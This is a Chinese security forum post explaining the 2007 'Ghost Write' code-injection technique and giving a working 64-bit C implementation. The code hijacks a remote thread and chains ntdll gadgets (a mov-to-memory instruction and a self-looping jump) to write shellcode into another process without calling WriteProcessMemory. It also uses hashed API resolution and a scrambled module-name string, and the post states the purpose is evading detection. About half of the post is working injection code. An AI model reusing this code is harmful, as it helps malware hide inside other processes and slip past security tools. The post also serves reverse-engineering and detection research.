首页
社区
课程
招聘
[原创]来自2007年的鬼写注入
发表于: 2023-6-14 00:43 6716

[原创]来自2007年的鬼写注入

2023-6-14 00:43
6716

引言

鬼写注入技术是c0de90e7在2007年提出的相对超前的代码注入技术并在Github上发布了针对32位进程的注入概念证明(POC),同时还将其POC托管到了其好友的博客上,两者并没有太大的差别。整个POC共计857行,但是其中纯英文的注释占据了绝大部分,希望能够通过更为简单的描述让大家了解这一技术也是本文目的之一,另外个人觉得即便是2007年的技术在今天在某些情况下仍有其实用价值,感慨作者在当时超前的思想,可以说是不可多得的宝藏。

概述

鬼写注入技术总的来说使用了基于线程劫持的技术以及gadget代码执行技术,而并没有使用常规的注入方法比如调用OpenProcess和WriteProcessMemory的Windows API以及对应的Native API。说到这个可能有很多聪明的小伙伴瞬间就明白了大概是怎么一回事,不知道的可以继续往下看。本文除了介绍这一技术之外,也会实现一个针对64位的鬼写程序(只有写入,没有执行),相对于原本的POC会有如下的一些简化和改动:

  • POC中将shellcode写入到栈中(未调用VirtualAllocEx)--->假定已经有一个可供写入的内存地址,或者使用VirtualAllocEx先申请一段内存。

  • POC中会去查找有效的gadget--->大部分使用预先找好的gadget,只有一条指令会进行暴力搜索。

细节

注入是一种将代码写入到其他进程空间中并在目标进程上下文中执行的一种技术,其目的大多是为了躲避检测。按照2019年黑客大会Itzik Kotler and Amit Klein上对于真正的注入技术的定义,排除掉通过注入进行模块加载以及傀儡进程(进程真空)等技术,一般的注入流程大概是:

  • OpenProcess:打开进程获取进程句柄

  • VirtualAllocEx:申请一段可读可写可执行的内存

  • WriteProcessMemory:将shellcode写入到刚才申请的内存中

  • CreateRemoteThread:创建远程线程执行shellcode

如上所述,鬼写是明显有别这一流程的,甚至一个API都没有调用。我们理解鬼写的第一步是需要知道该如何操作远程线程,注意是线程而不是进程。每个运行的线程都有一个自己的上下文,这个上下文其实就是一个名为Context的结构体,其中包含段寄存器,整数寄存器,浮点寄存器,调试寄存器,程序控制器(EIP/RIP)等,同时windows给我们提供了一组用于操纵线程上下文的API,比如SuspendThread/GetThreadContext/SetThreadContext/ResumeThread。我们可以通过挂起某一线程,并修改其中的寄存器的值,最后唤醒线程,唤醒之后的线程将按照新的上下文继续执行,既然如此,我们便可以修改RIP/RBX/RDI...,这便是理解鬼写的第一步。

 

假设我们可以在目标进程中找到这样一条指令 MOV [REGA],REGB 就是将REGB中的值存放到REGA所指向的内存地址,是一条很好理解的指令,通过上面描述的我们可以通过操作线程上下文来指定REGAREGB的值,如果我们将REGA修改为指向想要写入的内存地址,而将REGB赋值为我们想要写入的值,是不是就可以实现写入这一过程了,鬼写的原理其实就是这么简单,关键的问题在于我们需要去构建他的栈和返回地址,以防在执行完写入后发生崩溃的情况。

  1. 首先我们需要找到一条合适的写入指令

    • 最好是在指令执行完成之后能够很快的返回,需要避免一些不必要和我们控制不了的操作,比如下面这样:
    1
    2
    3
    4
    5
    6
    7
    8
    mov     [rdi], rbx  //这是一条不错的指令,只需要设置rdi和rbx即可
     
    EX1:
    -- mov [rbx + 0x8],0x10000 //后面如果有这条指令就可能导致程序崩溃,因为rbx可能是0
     
    EX2:
    -- lea     r11, [rsp+50h]
    -- mov     rbx, [r11+20h] //后面如果有类似指令对于我们也是不利的,这会使情况变得复杂
    • 另外,这条指令最好存在于NTDLL或者KERNEL32中,因为这两个DLL在同一台机器上的加载基址是相同的,这方便我们在寻找指令的时候直接查找当前进程中的模块即可,找到的地址也就对应目标进程中的地址。

    • 最后,这条指令所在的函数最好是导出的,这样更方便我们快速定位到其所在地址。

    • 综合这三点,NTDLL中RtlIsValidIndexHandleRtlGetNonVolatileToken等函数中都存在符合条件的指令,我们最终选用RtlGetNonVolatileToken中的指令,如下所示:

    1
    2
    3
    4
    5
    48 89 1F              mov     [rdi], rbx
    48 8B 5C 24 70        mov     rbx, [rsp+70h]
    48 83 C4 60           add     rsp, 60h
    5F                    pop     rdi
    C3                    retn
  1. 其次我们需要根据找到的指令构造栈帧

    在上述指令中对于栈帧操作的总共有三条,分别是add rsp, 60hpop rdi以及retn,所以相对应的我们应该先对栈帧进行如下操作

    1
    2
    3
    sub rsp,60h 将当前的栈帧(也就是挂起之后获得的RSP)抬升60h
    sub rsp,8h  将当前栈帧抬升8h,以应对POP rdi
    sub rsp,8h  将当前栈帧抬升8h,以应对retn (retn = pop rip + jmp)

    总的来说我们需要将当前栈帧抬升70h,如下图所示

  2. 最后栈帧抬升之后,我们需要面临一个问题就是RET要去向哪里?

    这个问题的答案,c0de90e7在他的POC中已经给到了我们答案,就是所谓的“自锁位置”,其实就是一个循环跳转到当前位置的指令EB FE或者叫JMP SELF 再或者换成C语言来说就是一个类似while(1) {}之类的代码。那么完整的示意图如下所示

到这里我先给大家捋一下写入的逻辑,当我们挂起线程之后,将RSP指定为新的RSP,将RIP指定到刚才在RtlGetNonVolatileToken找到的指令起始位置,将RDI指定为我们要写入的内存地址,将RBX指定为我们要写入的值,因为每次只能写入8个字节,所以如果有更多字节要写入,就得重复执行这一过程。

 

但是,但是大家有没有注意到此时自锁指令的地址(EB FE) 并没有写入到RET的位置,当执行返回指令的时候肯定是要出问题的,所以这个自锁指令地址该怎么写入到RET位置呢?难道我们需要用到WriteProcessMemory,很显然这是与我们的初衷是相违背的,那我们该怎么办,其实也很简单,我们依然执行上述的写入逻辑,只不过我们首先应当将RDI指定为RET所在的栈地址,然后将RBX 指定为自锁指令地址,首先执行一次写入,后面再执行循环写入其他内容就行了。

 

最后当我们所有内容写入完成之后,应当回复线程的上下文以便目标进程的正常执行。

代码

DONT BI BI SHOW ME YOUR CODE

1
2
3
4
5
6
7
8
9
10
11
12
13
VOID WaitForSelfLock(API *Api, HANDLE Thread, ULONG_PTR RipValue)
{
    CONTEXT x;
    DWORD   PreCount = 0;
 
    do {
        Api->Sleep(10);
        Api->NtSuspendThread(Thread, &PreCount);
        x.ContextFlags = CONTEXT_CONTROL;
        Api->GetThreadContext(Thread, &x);
        Api->NtResumeThread(Thread, &PreCount);
    } while (x.Rip != RipValue);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
NTSTATUS GhostWrite(TARGET_PROCESS *Target, VOID *BaseAddress, DWORD64 *Buffer, SIZE_T Size)
{
    if (!Target || !BaseAddress || !Buffer || !Size) return ERROR_INVALID_PARAMETER;
 
    API               Api;
    VOID             *GadgetMov          = NULL;
    VOID             *GadgetRet          = NULL;
    VOID             *GadgetLoop         = NULL;
    VOID             *BufferHeap         = NULL;
    UCHAR            *AddRspX            = NULL;
    DWORD             AddRspV            = 0;
    DWORD             PreSusCount        = 0;
    WCHAR             StrNtdll[0xA]      = {0};
    SIZE_T            AlignSize          = 0;
    HANDLE            VictimThreadHandle = NULL;
    HMODULE           Ntdll              = NULL;
    ULONG_PTR         LoopRsp            = 0;
 
    CONTEXT           PreContext;
    CONTEXT           NewContext;
    CLIENT_ID         CliD;
    MODULEINFO        MoInfo;
    OBJECT_ATTRIBUTES ObjA;
 
    SecureZeroMemory(&Api, sizeof(Api));
    SecureZeroMemory(&ObjA, sizeof(ObjA));
    SecureZeroMemory(&CliD, sizeof(CliD));
    SecureZeroMemory(&MoInfo, sizeof(MoInfo));
    SecureZeroMemory(&PreContext, sizeof(PreContext));
    SecureZeroMemory(&NewContext, sizeof(NewContext));
 
    ObjA.Length        = sizeof(ObjA);
    CliD.UniqueProcess = UlongToHandle(Target->Pid);
    CliD.UniqueThread  = UlongToHandle(Target->Tid);
 
    // ntdll.dll
    StrNtdll[0]                 = L'n';
    StrNtdll[2]                 = L'd';
    StrNtdll[4]                 = L'l';
    StrNtdll[5]                 = L'.';
    StrNtdll[6]                 = L'd';
    StrNtdll[3]                 = L'l';
    StrNtdll[8]                 = L'l';
    StrNtdll[1]                 = L't';
    StrNtdll[7]                 = L'l';
    Api.NtAllocateVirtualMemory = C_PTR(GetFunAddress(GetModuleBase(NTDLL_HASH), NTALLOCATEVIRTUALMEMORY));
    Api.RtlGetNonVolatileToken  = C_PTR(GetFunAddress(GetModuleBase(NTDLL_HASH), RTLGETNONVOLATILETOKEN));
    Api.GetModuleHandleW        = C_PTR(GetFunAddress(GetModuleBase(KERNEL32_HASH), GETMODULEHANDLEW));
    Api.GetThreadContext        = C_PTR(GetFunAddress(GetModuleBase(KERNEL32_HASH), GETTHREADCONTEXT));
    Api.SetThreadContext        = C_PTR(GetFunAddress(GetModuleBase(KERNEL32_HASH), SETTHREADCONTEXT));
    Api.NtSuspendThread         = C_PTR(GetFunAddress(GetModuleBase(NTDLL_HASH), NTSUSPENDTHREAD));
    Api.RtlAllocateHeap         = C_PTR(GetFunAddress(GetModuleBase(NTDLL_HASH), RTLALLOCATEHEAP));
    Api.NtResumeThread          = C_PTR(GetFunAddress(GetModuleBase(NTDLL_HASH), NTRESUMETHREAD));
    Api.GetLastError            = C_PTR(GetFunAddress(GetModuleBase(KERNEL32_HASH), GETLASTERROR));
    Api.NtOpenThread            = C_PTR(GetFunAddress(GetModuleBase(NTDLL_HASH), NTOPENTHREAD));
    Api.RtlFreeHeap             = C_PTR(GetFunAddress(GetModuleBase(NTDLL_HASH), RTLFREEHEAP));
    Api.Sleep                   = C_PTR(GetFunAddress(GetModuleBase(KERNEL32_HASH), SLEEP));
 
    // Buffer拷贝到新的内存中并按照8字节对齐
    // -O2编译优化导致AlignSize = 0,建议使用-Os编译
    AlignSize  = (Size + 7) & (~7);
    BufferHeap = Api.RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, AlignSize);
 
    if (!BufferHeap) return Api.GetLastError();
 
    MemCopy(BufferHeap, Buffer, AlignSize);
    Ntdll = Api.GetModuleHandleW(StrNtdll);
 
    if (!Ntdll) return Api.GetLastError();
 
    GetModuleInformation(NtCurrentProcess(), Ntdll, &MoInfo, sizeof(MoInfo));
    GadgetLoop = MemMem(C_PTR(Ntdll), MoInfo.SizeOfImage, "\xEB\xFE", 2);
    GadgetRet  = MemMem(C_PTR(Api.RtlGetNonVolatileToken), MoInfo.SizeOfImage, "\xC3\xCC", 2);
    GadgetMov  = MemMem(C_PTR(Api.RtlGetNonVolatileToken), MoInfo.SizeOfImage, "\x48\x89\x1F", 3);
    AddRspX    = MemMem(C_PTR(Api.RtlGetNonVolatileToken), MoInfo.SizeOfImage, "\x48\x83\xC4", 3);
 
    if (!GadgetLoop || !GadgetMov || !GadgetRet || !AddRspX) return ERROR_NOT_FOUND;
 
    // 为确保找到的所有位置都是在RtlGetNonVolatileToken函数内部
    if ((U_PTR(GadgetMov) > U_PTR(GadgetRet)) || (U_PTR(AddRspX) > U_PTR(GadgetRet))) return ERROR_NOT_FOUND;
 
    // 构造Gadget
    Api.NtOpenThread(&VictimThreadHandle, THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME, &ObjA, &CliD);
    Api.NtSuspendThread(VictimThreadHandle, &PreSusCount);
    PreContext.ContextFlags = CONTEXT_FULL;
    NewContext.ContextFlags = CONTEXT_FULL;
    Api.GetThreadContext(VictimThreadHandle, &PreContext);
    Api.GetThreadContext(VictimThreadHandle, &NewContext);
 
    AddRspV = *(AddRspX + 0x3);
    NewContext.Rsp -= (AddRspV + 0x10);
    NewContext.Rip = GadgetMov;
    NewContext.Rdi = NewContext.Rsp + (AddRspV + 0x8);
    NewContext.Rbx = GadgetLoop;
    LoopRsp        = NewContext.Rsp;
 
    Api.SetThreadContext(VictimThreadHandle, &NewContext);
    Api.NtResumeThread(VictimThreadHandle, &PreSusCount);
    WaitForSelfLock(&Api, VictimThreadHandle, U_PTR(GadgetLoop));
 
    // 利用构造的Gadget写入ShellCode
    for (INT i = 0; i < (AlignSize / 8); i++) {
        Api.NtSuspendThread(VictimThreadHandle, &PreSusCount);
        NewContext.Rsp = LoopRsp;
        NewContext.Rip = GadgetMov;
        NewContext.Rbx = Buffer[i];
        NewContext.Rdi = U_PTR(BaseAddress);
        Api.SetThreadContext(VictimThreadHandle, &NewContext);
        Api.NtResumeThread(VictimThreadHandle, &PreSusCount);
        WaitForSelfLock(&Api, VictimThreadHandle, U_PTR(GadgetLoop));
        BaseAddress += sizeof(ULONG_PTR);
    }
 
    // 恢复原来的上下文
    Api.SetThreadContext(VictimThreadHandle, &PreContext);
    Api.NtResumeThread(VictimThreadHandle, &PreSusCount);
 
    if (BufferHeap) Api.RtlFreeHeap(NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, BufferHeap);
 
    return STATUS_SUCCESS;
}

注明

本文首发于【无名之】微信公众号,有兴趣的小伙伴可以关注一下,文章修改或后续更新均可在公众号获得

 


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 3
支持
分享
最新回复 (2)
雪    币: 3070
活跃值: (30876)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2023-6-14 09:11
1
雪    币: 2458
活跃值: (4586)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
3
佩服,我是想不出来
2023-6-14 11:31
0
游客
登录 | 注册 方可回帖
返回
//